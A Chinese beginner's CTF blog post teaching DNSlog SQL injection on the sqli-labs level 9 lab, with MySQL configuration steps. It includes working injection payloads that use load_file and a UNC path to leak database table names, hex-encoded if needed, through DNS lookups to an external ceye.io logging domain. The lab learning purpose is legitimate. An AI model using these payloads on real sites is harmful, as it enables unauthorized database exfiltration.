小白的CTF之路之DNSlog注入

在之前的文章中关于sqlilabs的第九题,看似只能用时间盲注,但其实经过深入学习后,还有一种方法------DNSlog注入法。

这个方法的原理就是利用数据库可以发起DNS请求的性质,将数据带出。将数据传输到一个域名里。在这个域名中,我们可以读取域名的解析日志。

使用DNSlog注入的前提条件:1.系统为Windows系统,只有Windows系统的DNS解析有利用的可能(这里指的是目标服务器)。2.需要一个域名用于接收解析信息,目前网上使用率很高的域名生成平台是CEYE - Monitor service for security testing 。该域名注册后即可使用。3.MySQL数据库中需要用到 load_file)()函数。在数据库中可能需要改动一下配置。

域名生成平台:

在ceye中实名注册后登录

 其中的identifier就是用于接收DNS解析信息的域名。

配置数据库:

首先确保自己的数据库是开启状态,win+R打开管理器输入cmd进入cmd命令运行,找到自己的数据库的盘,例如我的数据库是放在D盘的所以输入D:打开D盘。

 接着打开装有数据库的文件夹一直开到bin文件

复制该路径,在 命令运行里输入cd空格任何右键,刚刚复制的路径就粘贴到了命令运行里。执行后再输入mysql -uroot -p,输入密码,进入数据库。

密码是用户自己安装MySQL时设定的,如果不记得密码了,可以试试默认密码:root

现在,输入show variables like '%secure%';查看load_file()函数可以读取的磁盘。

 目前secure_file_priv后面的值为NULL,说明该函数没有读取任何磁盘的权限,若后面的值为某个磁盘名,说明可以读取该磁盘,若值为空,说明可以读取任何磁盘。现在我们需要让该函数有权限读取任何磁盘。直接在my.ini文件里修改。

 

  当内容为secure_file_priv=''即可,这个地方可能要多试几次。有可能会不成功。如果my.ini文件里没有这一行,手动在[mysqld]下面加上该命令即可。完成后再次查看可读取的磁盘

此时load_file()函数就可以读取所有磁盘了。

测试:

使用slqilabs的第九关测试,因为第九关的时间盲注法太费时间,DNS log注入刚好用于无回显的数据库注入。

该注入命令基本上就是固定格式,只需要把sql语句写在中间,涂黑的地方是自己注册的域名。执行该语句后,即可在平台上查看 

 接下来就是常规爆表

 然而,此时平台没有接收到任何反馈,既然第一次能成功,而后面失败了,只能说明是语句的问题。经过反复试验,发现不能用group_concat,如果一次只爆出一个表名就可以。

?id=3'and if((select load_file(concat('\\\\',(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,0)--+这样一次只爆出一个表

就可以成功,这样一来效率其实并不高,不过比手动时间盲注要强多了。另外,如果目标数据库的数据中有特殊字符如@#¥%……&*等则需要使用hex编码。 即:?id=3'and if((select load_file(concat('\\\\',(select hex(语句)),'.xxxxxx.ceye.io\\abc'))),1,0)--+则在平台上回返的是字符进行16进制后的编码,找个解码器解码后即可。

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值